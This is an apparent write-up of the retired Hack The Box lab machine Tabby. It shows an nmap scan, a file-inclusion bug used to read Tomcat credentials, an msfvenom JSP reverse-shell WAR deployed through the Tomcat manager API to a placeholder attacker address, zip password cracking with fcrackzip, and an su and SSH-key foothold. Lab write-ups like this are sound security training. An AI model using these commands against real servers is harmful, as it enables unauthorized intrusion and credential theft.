HTB Write-up | Tabby
Write-up for Tabby, a retired HTB machine.
Retired machine can be found here.
Scanning
~ nmap -sC -sV -A -T4 tabby.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-04 17:47 WEST
Nmap scan report for tabby.htb (10.10.10.194)
Host is up (0.30s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open http Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 49.59 seconds
Port 80
The Apache server running on port 80
seems to be the website for a hosting company called "Mega Hosting":
The home page has a link for their "statement on recovering from the data breach". When we click the link we're redirected to http://megahosting.htb/news.php?file=statement. If we access the page on the tabby.htb
domain (which we had previously configured on /etc/hosts
) we see the following message:
We apologise to all our customers for the previous data breach.
We have changed the site to remove this tool, and have invested heavily in more secure servers
So, from this statement we understand that a tool was removed from the site, which will probably be of use in the future.
Also very interesting is the way that the statement
file is being fetched, let's see if we can fetch any file we want:
Bingo!
Port 8080
When we access port 8080
we see the "default Tomcat home page".
Since we've already identified a Local File Inclusion vulnerability on port 80
, the next logic step would be to try and access the credentials file on the server, however, this file was not in the typical location, in fact, it took me a couple of hours to find it hosted at usr/share/tomcat9/etc/tomcat-users.xml
.
<?xml version="1.0" encoding="UTF-8"?>
...
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
...
<role rolename="admin-gui"/>
<role rolename="manager-script"/>
<user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
</tomcat-users>
Getting User
As we can see above, tomcat
has the following roles:
admin-gui
: allows the user to access the host-manager's graphical interface;manager-script
: allows the user to access the manager's text interface and server status.
The text interface is basically a REST API that is able to execute some commands. Let's try to list all the applications running on this server:
~ curl -u "tomcat" http://tabby.htb:8080/manager/text/list
Enter host password for user 'tomcat': $3cureP4s5w0rd123!
OK - Listed applications for virtual host [localhost]
/:running:0:ROOT
/examples:running:2:/usr/share/tomcat9-examples/examples
/host-manager:running:1:/usr/share/tomcat9-admin/host-manager
/shell:running:3:shell
/my-shell2:running:10:my-shell2
/siren.war:running:0:siren.war
/my-shell4:running:1:my-shell4
/manager:running:0:/usr/share/tomcat9-admin/manager
/docs:running:0:/usr/share/tomcat9-docs/docs
/my-shell:running:1:my-shell
/my-shell1:running:2:my-shell1
OK, as we can see a couple of other HTB users have clearly abused this feature, let's try to upload our own reverse shell using this interface:
~ curl -T "./php-reverse-shell.php" "http://tabby.htb:8080/manager/text/deploy?path=/shelly&update=true" -u tomcat
Enter host password for user 'tomcat': $3cureP4s5w0rd123!
FAIL - Deployed application at context path [/shelly] but context failed to start
Turns out the shell was uploaded but since it's not a .war
it's not run by the server. After searching how to embed a reverse shell in a .war
file I came across this article that provided a bunch of different methods. This was the most effective:
~ msfvenom -p java/jsp_shell_reverse_tcp LHOST=OUR_IP LPORT=4444 -f war > shelly.war
~ curl -T "./shelly.war" "http://tabby.htb:8080/manager/text/deploy?path=/shelly&update=true" -u tomcat
Enter host password for user 'tomcat': $3cureP4s5w0rd123!
OK - Deployed application at context path [/shelly]
Now when we access http://tabby.htb:8080/shelly/
we get a reverse shell.
Let's upgrade it!
~ /usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'
I tried authenticating with su
as the user ash
with the password we already know and also with clive
, which we found on the /etc/passwd
file, but both failed.
Becoming ash
I started by looking for files belonging to ash
, which led me to an interesting zip file:
tomcat@tabby:/var$ find ./ -user ash
...
./www/html/files
./www/html/files/16162020_backup.zip
The file was password protected and neither clive
nor $3cureP4s5w0rd123!
worked. In order to brute-force the answer I first downloaded the file to my machine and then used a zip file cracker - fcrackzip
:
kali@kali:~/$ fcrackzip -D -p rockyou.txt tabby.zip -u
PASSWORD FOUND!!!!: pw == admin@it
kali@kali:~/$ unzip tabby.zip
Archive: tabby.zip
[tabby.zip] var/www/html/favicon.ico password:
inflating: var/www/html/favicon.ico
inflating: var/www/html/index.php
extracting: var/www/html/logo.png
inflating: var/www/html/news.php
inflating: var/www/html/Readme.txt
Turns out there's nothing useful on this extracted folder, but the password can be use to login as ash
:
tomcat@tabby:/var/www/html$ su - ash
su - ash
Password: admin@it
ash@tabby:~$ cat user.txt
Finally, I SSHed into the machine after adding the public key to /home/ash/.ssh/authorized_key
:
ssh -i ash@tabby.htb
Getting root
ash@tabby:~$ ls
alpine-v3.12-x86_64-20200710_0223.tar.gz snap user.txt
Seeing the alpine
zip file I realised the privilege escalation was probably be related to lxd
.
I followed this article and got the root flag.